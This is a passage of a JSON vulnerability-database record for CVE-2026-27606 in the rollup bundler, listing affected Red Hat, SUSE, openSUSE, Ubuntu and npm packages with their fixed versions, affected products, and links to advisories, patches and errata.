Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+api_documentation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+authentication","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+channel_auth","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+feature_flags","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+jwt_consumer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+oauth2_provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+rbac","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+redis_client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+rest_filters","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pyasn1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.3-1.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pyasn1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.3-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-5.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-5.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-5.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy-server-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-5.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-2.el9"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-2.el9"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-2.el9"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy-server-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-2.el9"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pyOpenSSL","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:26.0.0-1.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pyOpenSSL","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:26.0.0-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.12.1-1.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.12.1-1.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.12.1-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.12.1-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.7-1.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.7-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Root:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.53.3-aikido.3"},{"fixed":"4.50.0-aikido.2"},{"fixed":"4.55.1-aikido.2"},{"fixed":"4.39.0-aikido.2"},{"fixed":"2.79.1-aikido.1"},{"fixed":"2.67.3-aikido.1"},{"fixed":"4.40.1-aikido.1"},{"fixed":"1.32.1-aikido.1"},{"fixed":"3.29.4-aikido.1"},{"fixed":"3.29.5-aikido.1"},{"fixed":"4.37.0-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.50.0-root.io.1"},{"fixed":"4.39.0-root.io.1"},{"fixed":"4.53.3-root.io.1"},{"fixed":"4.53.3-root.io.2"},{"fixed":"4.55.1-root.io.1"},{"fixed":"2.79.2-root.io.1"},{"fixed":"4.53.3-root.io.3"},{"fixed":"4.50.0-root.io.2"},{"fixed":"4.55.1-root.io.2"},{"fixed":"4.39.0-root.io.2"},{"fixed":"2.79.1-root.io.1"},{"fixed":"2.67.3-root.io.1"},{"fixed":"4.40.1-root.io.1"},{"fixed":"1.32.1-root.io.1"},{"fixed":"3.29.4-root.io.1"},{"fixed":"3.29.5-root.io.1"},{"fixed":"4.37.0-root.io.1"}]}]},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"dracut-saltboot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.0-150000.1.65.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"golang-github-QubitProducts-exporter_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.0-150000.1.21.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"golang-github-boynux-squid_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.13.0-150000.1.12.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"golang-github-lusitaniae-apache_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.10-150000.1.26.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"golang-github-prometheus-prometheus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.0-150000.3.67.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.6.11-150000.1.90.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"prometheus-blackbox_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.26.0-150000.1.30.2"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.15-150000.3.142.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"uyuni-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.38-150000.1.30.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools for SLE Micro 5","package":"dracut-saltboot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.0-150000.1.65.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools for SLE Micro 5","package":"golang-github-QubitProducts-exporter_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.0-150000.1.21.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools for SLE Micro 5","package":"prometheus-blackbox_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.26.0-150000.1.30.2"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Manager Client Tools for SLE Micro 5","package":"uyuni-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.38-150000.1.30.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"golang-github-prometheus-promu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.17.0-150000.3.30.1"}]}],"bundled":11},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"dracut-saltboot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.0-150000.1.65.1"}]}],"bundled":11},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"golang-github-QubitProducts-exporter_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.0-150000.1.21.1"}]}],"bundled":11},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"golang-github-boynux-squid_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.13.0-150000.1.12.1"}]}],"bundled":11},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"golang-github-lusitaniae-apache_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.10-150000.1.26.1"}]}],"bundled":11},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"golang-github-prometheus-promu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.17.0-150000.3.30.1"}]}],"bundled":11},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"prometheus-blackbox_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.26.0-150000.1.30.2"}]}],"bundled":11},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.15-150000.3.142.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"dracut-saltboot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.0-159000.2.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"dracut-wireless","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.1595937550.0285244-159000.2.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"golang-github-QubitProducts-exporter_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.0-159000.2.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"golang-github-boynux-squid_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.13.0-159000.2.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"golang-github-lusitaniae-apache_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.10-159000.2.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"golang-github-prometheus-alertmanager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.28.1-159000.12.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"golang-github-prometheus-node_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.1-159000.4.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"golang-github-prometheus-prometheus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.0-159000.4.3.2"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.6.11-159000.2.3.2"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"mgr-push","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.3-159000.2.3.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"prometheus-blackbox_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.26.0-159000.2.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"prometheus-postgres_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.10.1-159000.2.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"python-defusedxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.1-159000.4.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"rhnlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.4-159000.4.3.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.6-159000.4.3.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"spacewalk-client-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.4-159000.4.3.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"supportutils-plugin-salt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.3-159000.4.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"supportutils-plugin-susemanager-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.2-159000.4.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"uyuni-common-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.3-159000.2.3.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"uyuni-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.5-159000.2.3.2"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-15","package":"venv-salt-minion","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3006.0-159000.5.3.2"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-Micro-5","package":"Multi-Linux-ManagerTools-Beta-SLE-Micro-release","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5-159000.3.3.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-Micro-5","package":"dracut-saltboot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.0-159000.2.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-Micro-5","package":"dracut-wireless","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.1595937550.0285244-159000.2.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-Micro-5","package":"golang-github-prometheus-node_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.1-159000.4.2.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-Micro-5","package":"uyuni-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.5-159000.2.3.2"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools Beta SLE-Micro-5","package":"venv-salt-minion","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3006.0-159000.5.3.2"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"golang-github-lusitaniae-apache_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.10-150002.3.6.1"}]}],"bundled":17},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"golang-github-prometheus-prometheus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.0-150002.3.8.1"}]}],"bundled":17},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.6.14+security01-150002.4.14.1"}]}],"bundled":17},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"prometheus-blackbox_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.26.0-150002.3.6.1"}]}],"bundled":17},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.13-150002.3.9.3"}]}],"bundled":17},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"uyuni-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.26-150002.3.12.1"}]}],"bundled":17},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-Micro-5","package":"prometheus-blackbox_exporter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.26.0-150002.3.6.1"}]}],"bundled":17},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-Micro-5","package":"uyuni-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.26-150002.3.12.1"}]}],"bundled":17},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"cockpit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"298-150500.3.12.1"}]}],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.50.0-6build3","0.68.2-2","1.12.0-2build2","1.12.0-2build3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.38.4-1","2.42.1-2","2.61.1-5"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.28.0-2","3.29.4-2","3.29.4-3"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.29.5-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.30.0-1","3.30.0-5build5"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.29.5-1","3.30.0-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"heroic-games-launcher","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.20.0-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"velociraptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.0.4.git185.a5708584-2.1"}]}],"bundled":49}],"products":[{"vendor":"red hat","product":"openshift pipelines"},{"vendor":"red hat","product":"openshift service mesh 3"},{"vendor":"red hat","product":"red hat advanced cluster security 4"},{"vendor":"red hat","product":"red hat amq broker 7"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 8"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 9"},{"vendor":"red hat","product":"red hat ansible automation platform 2.6"},{"vendor":"red hat","product":"red hat ansible automation platform 2.6 for rhel 9"},{"vendor":"red hat","product":"red hat build of optaplanner 8"},{"vendor":"red hat","product":"red hat build of podman desktop - tech preview"},{"vendor":"red hat","product":"red hat developer hub 1.8"},{"vendor":"red hat","product":"red hat developer hub 1.9"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat enterprise linux ai (rhel ai) 3"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8"},{"vendor":"red hat","product":"red hat jboss enterprise application platform expansion pack"},{"vendor":"red hat","product":"red hat openshift container platform 4"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.27"},{"vendor":"red hat","product":"red hat openshift distributed tracing 3"},{"vendor":"red hat","product":"red hat openshift service mesh 2.6"},{"vendor":"red hat","product":"red hat quay 3.10"},{"vendor":"red hat","product":"red hat single sign-on 7"},{"vendor":"red hat","product":"red hat trusted artifact signer 1.3"},{"vendor":"red hat","product":"self-service automation portal 2"},{"vendor":"rollup","product":"rollup"},{"vendor":"rollupjs","product":"rollup"}],"references":[{"url":"https://github.com/rollup/rollup/security/advisories/GHSA-mw96-cpmx-2vgc","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/rollup/rollup/commit/c60770d7aaf750e512c1b2774989ea4596e660b2","tags":["x_refsource_MISC","Patch","fix","web","article","report"]},{"url":"https://github.com/rollup/rollup/commit/c8cf1f9c48c516285758c1e11f08a54f304fd44e","tags":["x_refsource_MISC","Patch","fix","web","article","report"]},{"url":"https://github.com/rollup/rollup/commit/d6dee5e99bb82aac0bee1df4ab9efbde455452c3","tags":["x_refsource_MISC","Patch","fix","web","article","report"]},{"url":"https://github.com/rollup/rollup/releases/tag/v2.80.0","tags":["x_refsource_MISC","Product","web","article","report"]},{"url":"https://github.com/rollup/rollup/releases/tag/v3.30.0","tags":["x_refsource_MISC","Product","web","article","report"]},{"url":"https://github.com/rollup/rollup/releases/tag/v4.59.0","tags":["x_refsource_MISC","Product","web","article","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27606","tags":["vdb-entry","x_refsource_REDHAT","advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442530","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27606.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13512","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13508","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13545","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6174","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6802","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10175","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8483","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5132","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5665","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5649","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27606","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mw96-cpmx-2vgc"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27606.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-27606","tags":["advisory"]},{"url":"https://github.com/rollup/rollup","tags":["package"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/html/release_notes/patch_releases","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6#Upgrade","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430472","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2436341","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=